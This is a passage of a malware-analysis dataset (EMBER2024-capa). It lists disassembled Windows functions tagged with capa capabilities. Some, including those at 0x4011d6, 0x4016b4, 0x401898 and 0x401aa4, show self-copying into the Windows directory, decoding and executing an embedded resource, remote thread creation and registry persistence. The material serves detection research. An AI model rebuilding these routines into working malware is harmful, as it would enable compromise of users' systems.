joyce8/EMBER2024-capa huggingface dataset:
Function at 0x476489
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x476526
push ebx
push esi
call fcn.00476452
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004763e6
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4764d3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x476525
push edi
push eax
call fcn.00474f58
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4764f3
call fcn.004749a5
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x476524
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004763e6
add esp, 0x20
test eax, eax
jne 0x476512
push edi
call fcn.004749a5
jmp 0x47651a
push ebx
call fcn.004749a5
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4778da
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x480a30
push 0x480a28
push str.FlsAlloc
push 0x1f
call fcn.00477799
mov esi, eax
add esp, 0x10
test esi, esi
je 0x47790e
push dword [ebp + 8]
mov ecx, esi
call dword [0x47e12c]
call esi
jmp 0x477914
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x477958
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x480a40
push 0x480a38
push str.FlsGetValue
push 0x21
call fcn.00477799
mov esi, eax
add esp, 0x10
test esi, esi
je 0x47798f
push dword [ebp + 8]
mov ecx, esi
call dword [0x47e12c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x477997
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x480a48
push 0x480a40
push str.FlsSetValue
push 0x22
call fcn.00477799
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4779d1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x47e12c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x479574
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4860f0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4795b4
cmp byte [ebx], 0xa
jne 0x4795b4
or byte [edi + eax + 0x28], 4
jmp 0x4795b9
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x4796b8
mov dl, byte [eax]
cmp dl, 0x1a
je 0x47969b
inc eax
cmp dl, 0xd
je 0x4795e5
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x47960b
cmp eax, ecx
jae 0x479619
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4795cd
jmp 0x4796b8
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x479696
cmp dword [ebp - 0x10], 0
je 0x479696
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4860f0]
test byte [eax + edi + 0x28], 0x48
je 0x479670
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x47965b
mov byte [esi], dl
jmp 0x47966c
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4860f0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4796b8
cmp byte [ebp - 1], 0xa
jne 0x47967f
cmp esi, ebx
jne 0x47967f
mov byte [esi], 0xa
jmp 0x4796b7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0047936d
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4796b8
mov byte [esi], 0xd
jmp 0x4796b7
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4860f0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4796b5
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4796b8
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4796c1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4860f0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x479707
cmp word [ebx], dx
jne 0x479707
or byte [eax + edi + 0x28], 4
jmp 0x47970c
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x47986f
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x47984f
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x47974d
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x479783
cmp eax, edx
jae 0x479791
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x479728
jmp 0x47986f
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x47984a
cmp dword [ebp - 0x18], 0
je 0x47984a
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4860f0]
test byte [eax + edi + 0x28], 0x48
je 0x479820
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x4797e4
mov word [esi], cx
jmp 0x47981b
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4860f0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4860f0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4860f0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x47986f
pop eax
cmp word [ebp - 4], ax
jne 0x479830
cmp esi, ebx
jne 0x479830
mov word [esi], ax
jmp 0x47986c
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0047936d
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x47986f
push 0xd
pop eax
jmp 0x47982b
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4860f0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x479869
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x47986f
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x47aee5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0047ae61
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x47b054
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x47b054
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x47b009
jg 0x47af41
test eax, eax
je 0x47afff
push 1
push 0x1000
call fcn.00474fa6
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x47af64
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x47aff6
push 0x8000
push ebx
call fcn.004721e3
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x47af8d
jg 0x47af88
cmp ecx, 0x1000
jb 0x47af8d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00473b31
add esp, 0x10
cmp eax, 0xffffffff
je 0x47afd2
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x47af88
jl 0x47afb9
test ecx, ecx
jne 0x47af7a
push dword [ebp - 0xc]
push ebx
call fcn.004721e3
push esi
call fcn.004749a5
add esp, 0xc
xor ebx, ebx
jmp 0x47b062
cmp byte [edi + 0x24], 0
je 0x47afe9
cmp dword [edi + 0x20], 5
jne 0x47afe9
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x47aff4
mov ebx, dword [edi + 0x18]
jmp 0x47aff6
xor ebx, ebx
push esi
call fcn.004749a5
pop ecx
jmp 0x47b062
test ecx, ecx
jg 0x47afcb
jl 0x47b009
test eax, eax
jae 0x47afcb
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0047936d
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x47b029
cmp byte [edi + 0x1c], 0
je 0x47afcb
jmp 0x47b05a
push ebx
call fcn.00476cc9
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x47afcb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x47b062
cmp byte [edi + 0x1c], 0
je 0x47b05f
mov ebx, dword [edi + 0x18]
jmp 0x47b062
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0047936d
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x47d050
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x47d07d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x47d07d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4011d6
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a4
push ebx
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x31c]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x403014
lea eax, [ebp - 0x218]
push eax
call esi
push 0x40
pop ecx
xor eax, eax
mov byte [ebp - 0x114], bl
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 4
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call edi
push str.Yjjll
lea eax, [ebp - 0x114]
push eax
call esi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401288
push 4
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call edi
push str.YJJLL_SY
lea eax, [ebp - 0x114]
push eax
call esi
push str.coz5
lea eax, [ebp - 0x114]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x31c]
push eax
call esi
test eax, eax
je 0x4013bd
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x31c]
push eax
call esi
test eax, eax
je 0x4013bd
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0x218]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_OpenFile]
push ebx
lea eax, [ebp - 0x3a4]
push eax
lea eax, [ebp - 0x31c]
push eax
call edi
mov dword [ebp - 0x10], eax
push 0x1042
lea eax, [ebp - 0x3a4]
push eax
lea eax, [ebp - 0x218]
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 8], eax
jmp 0x40132e
push ebx
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x10]
call edi
cmp dword [ebp - 0xc], ebx
jne 0x40131a
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 8]
call edi
push 7
lea eax, [ebp - 0x218]
push eax
call esi
cmp dword [ebp - 8], ebx
jne 0x4013d8
push 0x80
lea eax, [ebp - 0x114]
push eax
call esi
push ebx
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push 7
lea eax, [ebp - 0x114]
push eax
call esi
cmp edi, 0x20
jne 0x4013a8
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], ebx
jne 0x4013c4
lea eax, [ebp - 0x31c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor al, al
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x114]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
jmp 0x4013bf
lea eax, [ebp - 0x218]
jmp 0x4013ca
Function at 0x40148b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx eax, word [esp + 4]
push esi
push dword [esp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [esp + 0x10]
push esi
push 0
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
pop esi
ret

Function at 0x4014ba
Capabilities:
Create process on windows
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x544
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x15c]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [ebp + 8]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrA]
push section..data
push edi
call esi
push 0x403004
push edi
mov dword [ebp - 4], eax
call esi
test eax, eax
je 0x401551
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
add edi, 3
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 4], ebx
mov esi, eax
je 0x40151a
sub esi, 3
push esi
lea eax, [ebp - 0x544]
push edi
push eax
call fcn.0040101f
add esp, 0xc
push 0x80
lea eax, [ebp - 0x544]
push eax
mov byte [ebp + esi - 0x544], bl
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x544]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x403b20
mov byte [0x403b20], bl
call fcn.004011d6
test al, al
pop ecx
je 0x4015f1
push 0x320
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x44
mov esi, eax
pop edi
lea eax, [ebp - 0x58]
push edi
push eax
mov byte [esi], bl
call fcn.00401000
lea eax, [ebp - 0x14]
push 0x10
push eax
mov dword [ebp - 0x58], edi
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x10
push 0x403008
push esi
call edi
lea eax, [ebp - 0x15c]
push eax
push esi
call edi
cmp dword [ebp - 4], ebx
je 0x4015c4
push str.z6
push esi
call edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push 0x403b20
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
jmp 0x4015f3
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4016b4
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Extract resource via kernel32 functions
Query environment variable
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0x3e8
mov dword [ebp - 8], 4
call esi
call fcn.004010ca
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
dec dword [ebp - 8]
push str.75vii
call fcn.004016a2
cmp eax, edi
pop ecx
mov dword [ebp - 4], eax
je 0x40170b
push 0x64
call esi
push dword [ebp - 4]
call ebx
push 0x8a2
call esi
cmp dword [ebp - 8], edi
jne 0x4016e1
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x4ba
mov dword [ebp - 0xc], eax
call esi
cmp dword [ebp - 4], edi
jne 0x401846
lea ecx, [ebp - 0x14]
call fcn.00401b3d
push dword [ebp - 0xc]
call fcn.004014ba
test al, al
pop ecx
jne 0x401889
lea eax, [ebp - 4]
push eax
push 0x403028
push 0x65
mov dword [ebp - 4], edi
call fcn.0040148b
add esp, 0xc
push dword [ebp - 4]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x220]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
dec eax
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x40302c
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0x11c]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1042
lea eax, [ebp - 0x2a8]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [ebp - 0xc], eax
xor eax, eax
cmp dword [ebp - 8], edi
jbe 0x401802
mov ecx, dword [ebp - 4]
add ecx, eax
dec byte [ecx]
inc eax
cmp eax, dword [ebp - 8]
jb 0x4017f5
push edi
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call ebx
push 7
lea eax, [ebp - 0x11c]
push eax
call esi
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x438]
push eax
push str.lwvl5
call fcn.004013e0
mov esi, eax
cmp esi, edi
pop ecx
pop ecx
jne 0x40184b
jmp fcn.004015f8
push edi
push edi
lea eax, [ebp - 0x11c]
push eax
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x401869
cmp esi, edi
je 0x401889
push dword [ebp + esi*4 - 0x43c]
dec esi
push edi
push 0x2a
call ebx
lea ecx, [ebp - 0x11c]
push ecx
push eax
call fcn.0040192b
test eax, eax
pop ecx
pop ecx
je 0x401865
lea ecx, [ebp - 0x14]
call fcn.00401aa3
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x401898
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp + 0x14]
cmp ecx, esi
pop esi
je 0x4018cc
mov edx, dword [ebp - 4]
mov dword [ecx], edx
leave
ret

Function at 0x401aa4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
lea eax, [ebp - 4]
push eax
xor ebx, ebx
cmp dword [ecx + 1], ebx
push 0xf003f
push ebx
push str.Zmycpyzmcpkcyu_ypuYuvhlTjvvuvzJyllzvc
je 0x401acb
push 0x80000002
jmp 0x401ad0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x104
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x108], 0x20
mov byte [ebp + eax - 0x107], 0x2f
mov byte [ebp + eax - 0x106], 0x73
mov byte [ebp + eax - 0x105], bl
add eax, 4
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push ebx
push str.uvzwhl_pkkU
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret
Function at 0x402330
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420c30
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x44d040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4023b7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4023b7
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x402397
cmp esi, edx
jae 0x4023b7
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x402385
cmp esi, edx
jae 0x4023b7
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40daf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422bc5
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x44d040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ecx + 4]
test edi, edi
jne 0x40db28
xor al, al
jmp 0x40dcb2
cmp byte [ecx + 1], 0
lea eax, [ecx + 8]
mov esi, dword [edi]
mov dword [ebp - 0x44], eax
push eax
je 0x40db3c
mov esi, dword [esi + 4]
jmp 0x40db3e
mov esi, dword [esi]
mov ecx, esi
call dword [0x4241b8]
mov ecx, edi
call esi
mov eax, dword [ebp - 0x44]
xor esi, esi
mov edi, dword [eax + 4]
sub edi, dword [eax]
sar edi, 2
test edi, edi
je 0x40dcb0
nop
mov eax, dword [eax]
mov eax, dword [eax + esi*4]
mov dword [ebp - 0x4c], eax
test esi, esi
je 0x40dc3b
push 1
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push 0x448414
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
call fcn.00401860
mov dword [ebp - 4], 0
cmp byte [0x44f08c], 0
je 0x40dbe3
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40dbe3
cmp dword [ebp - 0x14], 7
lea ecx, [ebp - 0x28]
push 0
cmova ecx, dword [ebp - 0x28]
lea edx, [ebp - 0x48]
push edx
add eax, eax
mov dword [ebp - 0x48], 0
push eax
push ecx
push dword [0x44dd10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40dbe3
push dword [0x44dd10]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
jbe 0x40dc24
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40dc1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40dccd
push ecx
push edx
call fcn.0040e733
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x14], 7
lea ecx, [ebp - 0x40]
push ecx
mov ecx, eax
call fcn.004097d0
mov ecx, eax
mov dword [ebp - 4], 1
cmp byte [0x44f08c], 0
je 0x40dc94
mov eax, dword [ecx + 0x10]
test eax, eax
je 0x40dc94
cmp dword [ecx + 0x14], 7
jbe 0x40dc67
mov ecx, dword [ecx]
push 0
lea edx, [ebp - 0x50]
mov dword [ebp - 0x50], 0
push edx
add eax, eax
push eax
push ecx
push dword [0x44dd10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40dc94
push dword [0x44dd10]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00401ef0
inc esi
cmp esi, edi
jae 0x40dcb0
mov eax, dword [ebp - 0x44]
jmp 0x40db60
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e6ef
mov esp, ebp
pop ebp
ret
call fcn.00411d07
int3

Function at 0x40f393
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40f3d2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f3d2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f3d2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40f3d2
cmp dword [ecx + 0x74], 0xe
